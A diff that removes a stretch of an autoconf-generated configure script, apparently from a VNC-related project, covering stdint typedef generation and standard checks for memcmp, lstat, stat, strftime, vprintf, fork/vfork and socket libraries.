-ac_fn_c_check_type "$LINENO" "int_least32_t" "ac_cv_type_int_least32_t" "#include <$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_least32_t" = xyes; then :
-
-fi
-
-ac_fn_c_check_type "$LINENO" "int_fast32_t" "ac_cv_type_int_fast32_t" "#include<$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_fast32_t" = xyes; then :
-
-fi
-
-
-if test "$ac_cv_header_stdint" != "stddef.h" ; then
-if test "$ac_cv_header_stdint" != "stdint.h" ; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include stddef.h" >&5
-$as_echo "..adding include stddef.h" >&6; }
- echo "#include <stddef.h>" >>$ac_stdint_h
-fi ; fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include $ac_cv_header_stdint" >&5
-$as_echo "..adding include $ac_cv_header_stdint" >&6; }
- echo "#include <$ac_cv_header_stdint>" >>$ac_stdint_h
-echo "" >>$ac_stdint_h
-
-# ----------------- DONE header START basic int types -------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... need to look at C basic types" >&5
-$as_echo "... need to look at C basic types" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good stdint.h inttypes" >&5
-$as_echo "... seen good stdint.h inttypes" >&6; }
-fi
-
-if test "$ac_cv_header_stdint_u" != "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen bsd/sysv typedefs" >&5
-$as_echo "... seen bsd/sysv typedefs" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* int8_t int16_t int32_t defined by inet code, redeclare the u_intXX types */
-typedef u_int8_t uint8_t;
-typedef u_int16_t uint16_t;
-typedef u_int32_t uint32_t;
-EOF
- cat >>$ac_stdint_h <<EOF
-
-/* glibc compatibility */
-#ifndef __int8_t_defined
-#define __int8_t_defined
-#endif
-EOF
-fi
-
-ac_cv_sizeof_x="$ac_cv_sizeof_char:$ac_cv_sizeof_short"
-ac_cv_sizeof_X="$ac_cv_sizeof_x:$ac_cv_sizeof_int"
-ac_cv_sizeof_X="$ac_cv_sizeof_X:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long"
-if test "$ac_cv_header_stdint" = "stddef.h" ; then
-# we must guess all the basic types. Apart from byte-adressable system,
-# there a few 32-bit-only dsp-systems. nibble-addressable systems are way off.
- cat >>$ac_stdint_h <<EOF
-/* ------------ BITSPECIFIC INTTYPES SECTION --------------- */
-EOF
- t="typedefs for a"
- case "$ac_cv_sizeof_X" in
- 1:2:2:2:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 16-bit system" >&5
-$as_echo "..adding $t normal 16-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 16-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned long uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef long int32_t;
-#endif
-EOF
-;;
- 1:2:2:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system derived from a 16-bit" >&5
-$as_echo "..adding $t 32-bit system derived from a 16-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a 32-bit system derived from a 16-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 32-bit system" >&5
-$as_echo "..adding $t normal 32-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system prepared for 64-bit" >&5
-$as_echo "..adding $t 32-bit system prepared for 64-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 32-bit system prepared for 64-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 64-bit system" >&5
-$as_echo "..adding $t normal 64-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a normal 64-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 64-bit system derived from a 32-bit" >&5
-$as_echo "..adding $t 64-bit system derived from a 32-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 64-bit system derived from a 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- *)
- as_fn_error $? " $ac_cv_sizeof_X what is that a system? contact the author, quick! http://ac-archive.sf.net" "$LINENO" 5
- exit 1
-;;
- esac
-fi
-
-# ------------- DONE basic int types START int64_t types ------------
-if test "$ac_cv_type_uint64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good uint64_t" >&5
-$as_echo "... seen good uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have good uint64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-#endif
-EOF
-
-elif test "$ac_cv_type_u_int64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef u_int64_t uint64_t" >&5
-$as_echo "..adding typedef u_int64_t uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have an u_int64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef u_int64_t uint64_t;
-#endif
-EOF
-else { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic uint64_t runtime checks" >&5
-$as_echo "..adding generic uint64_t runtime checks" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------- 64 BIT GENERIC SECTION -------------------- */
-/* here are some common heuristics using compiler runtime specifics */
-#if defined __STDC_VERSION__ && defined __STDC_VERSION__ > 199901L
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-
-#elif !defined __STRICT_ANSI__
-#if defined _MSC_VER || defined __WATCOMC__ || defined __BORLANDC__
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef __int64 int64_t;
-typedef unsigned __int64 uint64_t;
-#endif
-
-#elif defined __GNUC__ || defined __MWERKS__ || defined __ELF__
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-#endif
-
-#elif defined __alpha || (defined __mips && defined _ABIN32)
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-#endif
- /* compiler/cpu type ... or just ISO C99 */
-#endif
-#endif
-EOF
-
-# plus a default 64-bit for systems that are likely to be 64-bit ready
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long" in
- 1:2:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen normal 64-bit system, CC has sizeof(long and void*) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 32-bit system prepared for 64-bit, CC has sizeof(long) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 64-bit derived from a 32-bit, CC has sizeof(long) == 4 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-EOF
-;;
- *)
-cat >>$ac_stdint_h <<EOF
-/* NOTE: */
-/* the configure-checks for the basic types did not make us believe */
-/* that we could add a fallback to a 'long long' typedef to int64_t */
-EOF
- esac
-fi
-
-# ------------- DONE int64_t types START intptr types ------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------------- INPTR SECTION --------------------------- */
-EOF
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp" in
- 1:2:2)
- a="int16_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 2 chars, hence we declare it 16-bit */
-
-typedef uint16_t uintptr_t;
-typedef int16_t intptr_t;
-EOF
-;;
- 1:2:4)
- a="int32_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 4 chars, hence we declare it 32-bit */
-
-typedef uint32_t uintptr_t;
-typedef int32_t intptr_t;
-EOF
-;;
- 1:2:8)
- a="int64_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 8 chars, hence we declare it 64-bit */
-
-typedef uint64_t uintptr_t;
-typedef int64_t intptr_t;
-EOF
-;;
- *)
- a="long" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) but got no guess, hence we declare it as if long */
-
-typedef unsigned long uintptr_t;
-typedef long intptr_t;
-EOF
-;;
- esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef $a intptr_t" >&5
-$as_echo "..adding typedef $a intptr_t" >&6; }
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_least32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_least-types" >&5
-$as_echo "..adding generic int_least-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_LEAST ------------------ */
-
-typedef int8_t int_least8_t;
-typedef int16_t int_least16_t;
-typedef int32_t int_least32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_least64_t;
-#endif
-
-typedef uint8_t uint_least8_t;
-typedef uint16_t uint_least16_t;
-typedef uint32_t uint_least32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_least64_t;
-#endif
-EOF
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_fast32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_fast-types" >&5
-$as_echo "..adding generic int_fast-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_FAST ------------------ */
-
-typedef int8_t int_fast8_t;
-typedef int32_t int_fast16_t;
-typedef int32_t int_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_fast64_t;
-#endif
-
-typedef uint8_t uint_fast8_t;
-typedef uint32_t uint_fast16_t;
-typedef uint32_t uint_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_fast64_t;
-#endif
-EOF
-fi
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-#ifdef _HAVE_INT64_T
-typedef int64_t intmax_t;
-typedef uint64_t uintmax_t;
-#else
-typedef long int intmax_t;
-typedef unsigned long uintmax_t;
-#endif
-EOF
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ... DONE $ac_stdint_h" >&5
-$as_echo "... DONE $ac_stdint_h" >&6; }
- cat >>$ac_stdint_h <<EOF
-
- /* once */
-#endif
-#endif
-EOF
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for in_addr_t" >&5
-$as_echo_n "checking for in_addr_t... " >&6; }
-if ${vnc_cv_inaddrt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <netinet/in.h>
-int
-main ()
-{
-in_addr_t foo; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- inaddrt=yes
-else
- inaddrt=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext,
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $vnc_cv_inaddrt" >&5
-$as_echo "$vnc_cv_inaddrt" >&6; }
-
-if test $inaddrt = no ; then
- $as_echo "@%:@define NEED_INADDR_T 1" >>confdefs.h
-
-fi
-# Checks for library functions.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for working memcmp" >&5
-$as_echo_n "checking for working memcmp... " >&6; }
-if ${ac_cv_func_memcmp_working+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_memcmp_working=no
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* Some versions of memcmp are not 8-bit clean. */
- char c0 = '\100', c1 = '\200', c2 = '\201';
- if (memcmp(&c0, &c2, 1) >= 0 || memcmp(&c1, &c2, 1) >= 0)
- return 1;
-
- /* The Next x86 OpenStep bug shows up only when comparing 16 bytes
- or more and with at least one buffer not starting on a 4-byte boundary.
- William Lewis provided this test program. */
- {
- char foo[21];
- char bar[21];
- int i;
- for (i = 0; i < 4; i++)
- {
- char *a = foo + i;
- char *b = bar + i;
- strcpy (a, "--------01111111");
- strcpy (b, "--------10000000");
- if (memcmp (a, b, 16) >= 0)
- return 1;
- }
- return 0;
- }
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_memcmp_working=yes
-else
- ac_cv_func_memcmp_working=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_memcmp_working" >&5
-$as_echo "$ac_cv_func_memcmp_working" >&6; }
-test $ac_cv_func_memcmp_working = no && case " $LIB@&t@OBJS " in
- *" memcmp.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS memcmp.$ac_objext"
- ;;
-esac
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether lstat correctly handles trailing slash" >&5
-$as_echo_n "checking whether lstat correctly handles trailing slash... " >&6; }
-if ${ac_cv_func_lstat_dereferences_slashed_symlink+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f conftest.sym conftest.file
-echo >conftest.file
-if test "$as_ln_s" = "ln -s" && ln -s conftest.file conftest.sym; then
- if test "$cross_compiling" = yes; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- /* Linux will dereference the symlink and fail, as required by POSIX.
- That is better in the sense that it means we will not
- have to compile and use the lstat wrapper. */
- return lstat ("conftest.sym/", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=yes
-else
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-else
- # If the `ln -s' command failed, then we probably don't even
- # have an lstat function.
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f conftest.sym conftest.file
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_lstat_dereferences_slashed_symlink" >&5
-$as_echo "$ac_cv_func_lstat_dereferences_slashed_symlink" >&6; }
-
-test $ac_cv_func_lstat_dereferences_slashed_symlink = yes &&
-
-cat >>confdefs.h <<_ACEOF
-@%:@define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-_ACEOF
-
-
-if test "x$ac_cv_func_lstat_dereferences_slashed_symlink" = xno; then
- case " $LIB@&t@OBJS " in
- *" lstat.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS lstat.$ac_objext"
- ;;
-esac
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stat accepts an empty string" >&5
-$as_echo_n "checking whether stat accepts an empty string... " >&6; }
-if ${ac_cv_func_stat_empty_string_bug+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_stat_empty_string_bug=yes
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- return stat ("", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_stat_empty_string_bug=no
-else
- ac_cv_func_stat_empty_string_bug=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_stat_empty_string_bug" >&5
-$as_echo "$ac_cv_func_stat_empty_string_bug" >&6; }
-if test $ac_cv_func_stat_empty_string_bug = yes; then
- case " $LIB@&t@OBJS " in
- *" stat.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS stat.$ac_objext"
- ;;
-esac
-
-
-cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_STAT_EMPTY_STRING_BUG 1
-_ACEOF
-
-fi
-
-for ac_func in strftime
-do :
- ac_fn_c_check_func "$LINENO" "strftime" "ac_cv_func_strftime"
-if test "x$ac_cv_func_strftime" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_STRFTIME 1
-_ACEOF
-
-else
- # strftime is in -lintl on SCO UNIX.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for strftime in -lintl" >&5
-$as_echo_n "checking for strftime in -lintl... " >&6; }
-if ${ac_cv_lib_intl_strftime+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lintl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char strftime ();
-int
-main ()
-{
-return strftime ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_intl_strftime=yes
-else
- ac_cv_lib_intl_strftime=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_strftime" >&5
-$as_echo "$ac_cv_lib_intl_strftime" >&6; }
-if test "x$ac_cv_lib_intl_strftime" = xyes; then :
- $as_echo "@%:@define HAVE_STRFTIME 1" >>confdefs.h
-
-LIBS="-lintl $LIBS"
-fi
-
-fi
-done
-
-for ac_func in vprintf
-do :
- ac_fn_c_check_func "$LINENO" "vprintf" "ac_cv_func_vprintf"
-if test "x$ac_cv_func_vprintf" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_VPRINTF 1
-_ACEOF
-
-ac_fn_c_check_func "$LINENO" "_doprnt" "ac_cv_func__doprnt"
-if test "x$ac_cv_func__doprnt" = xyes; then :
-
-$as_echo "@%:@define HAVE_DOPRNT 1" >>confdefs.h
-
-fi
-
-fi
-done
-
-
-ac_fn_c_check_type "$LINENO" "pid_t" "ac_cv_type_pid_t" "$ac_includes_default"
-if test "x$ac_cv_type_pid_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-@%:@define pid_t int
-_ACEOF
-
-fi
-
-for ac_header in vfork.h
-do :
- ac_fn_c_check_header_mongrel "$LINENO" "vfork.h" "ac_cv_header_vfork_h" "$ac_includes_default"
-if test "x$ac_cv_header_vfork_h" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_VFORK_H 1
-_ACEOF
-
-fi
-
-done
-
-for ac_func in fork vfork
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-if test "x$ac_cv_func_fork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working fork" >&5
-$as_echo_n "checking for working fork... " >&6; }
-if ${ac_cv_func_fork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_fork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* By Ruediger Kuhlmann. */
- return fork () < 0;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_fork_works=yes
-else
- ac_cv_func_fork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_fork_works" >&5
-$as_echo "$ac_cv_func_fork_works" >&6; }
-
-else
- ac_cv_func_fork_works=$ac_cv_func_fork
-fi
-if test "x$ac_cv_func_fork_works" = xcross; then
- case $host in
- *-*-amigaos* | *-*-msdosdjgpp*)
- # Override, as these systems have only a dummy fork() stub
- ac_cv_func_fork_works=no
- ;;
- *)
- ac_cv_func_fork_works=yes
- ;;
- esac
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&2;}
-fi
-ac_cv_func_vfork_works=$ac_cv_func_vfork
-if test "x$ac_cv_func_vfork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working vfork" >&5
-$as_echo_n "checking for working vfork... " >&6; }
-if ${ac_cv_func_vfork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_vfork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-/* Thanks to Paul Eggert for this test. */
-$ac_includes_default
-#include <sys/wait.h>
-#ifdef HAVE_VFORK_H
-# include <vfork.h>
-#endif
-/* On some sparc systems, changes by the child to local and incoming
- argument registers are propagated back to the parent. The compiler
- is told about this with #include <vfork.h>, but some compilers
- (e.g. gcc -O) don't grok <vfork.h>. Test for this by using a
- static variable whose address is put into a register that is
- clobbered by the vfork. */
-static void
-#ifdef __cplusplus
-sparc_address_test (int arg)
-# else
-sparc_address_test (arg) int arg;
-#endif
-{
- static pid_t child;
- if (!child) {
- child = vfork ();
- if (child < 0) {
- perror ("vfork");
- _exit(2);
- }
- if (!child) {
- arg = getpid();
- write(-1, "", 0);
- _exit (arg);
- }
- }
-}
-
-int
-main ()
-{
- pid_t parent = getpid ();
- pid_t child;
-
- sparc_address_test (0);
-
- child = vfork ();
-
- if (child == 0) {
- /* Here is another test for sparc vfork register problems. This
- test uses lots of local variables, at least as many local
- variables as main has allocated so far including compiler
- temporaries. 4 locals are enough for gcc 1.40.3 on a Solaris
- 4.1.3 sparc, but we use 8 to be safe. A buggy compiler should
- reuse the register of parent for one of the local variables,
- since it will think that parent can't possibly be used any more
- in this routine. Assigning to the local variable will thus
- munge parent in the parent process. */
- pid_t
- p = getpid(), p1 = getpid(), p2 = getpid(), p3 = getpid(),
- p4 = getpid(), p5 = getpid(), p6 = getpid(), p7 = getpid();
- /* Convince the compiler that p..p7 are live; otherwise, it might
- use the same hardware register for all 8 local variables. */
- if (p != p1 || p != p2 || p != p3 || p != p4
- || p != p5 || p != p6 || p != p7)
- _exit(1);
-
- /* On some systems (e.g. IRIX 3.3), vfork doesn't separate parent
- from child file descriptors. If the child closes a descriptor
- before it execs or exits, this munges the parent's descriptor
- as well. Test for this by closing stdout in the child. */
- _exit(close(fileno(stdout)) != 0);
- } else {
- int status;
- struct stat st;
-
- while (wait(&status) != child)
- ;
- return (
- /* Was there some problem with vforking? */
- child < 0
-
- /* Did the child fail? (This shouldn't happen.) */
- || status
-
- /* Did the vfork/compiler bug occur? */
- || parent != getpid()
-
- /* Did the file descriptor bug occur? */
- || fstat(fileno(stdout), &st) != 0
- );
- }
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_vfork_works=yes
-else
- ac_cv_func_vfork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_vfork_works" >&5
-$as_echo "$ac_cv_func_vfork_works" >&6; }
-
-fi;
-if test "x$ac_cv_func_fork_works" = xcross; then
- ac_cv_func_vfork_works=$ac_cv_func_vfork
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&2;}
-fi
-
-if test "x$ac_cv_func_vfork_works" = xyes; then
-
-$as_echo "@%:@define HAVE_WORKING_VFORK 1" >>confdefs.h
-
-else
-
-$as_echo "@%:@define vfork fork" >>confdefs.h
-
-fi
-if test "x$ac_cv_func_fork_works" = xyes; then
-
-$as_echo "@%:@define HAVE_WORKING_FORK 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBNSL 1
-_ACEOF
-
- LIBS="-lnsl $LIBS"
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socket in -lsocket" >&5
-$as_echo_n "checking for socket in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_socket+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char socket ();
-int
-main ()
-{
-return socket ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_socket=yes
-else
- ac_cv_lib_socket_socket=no
-fi
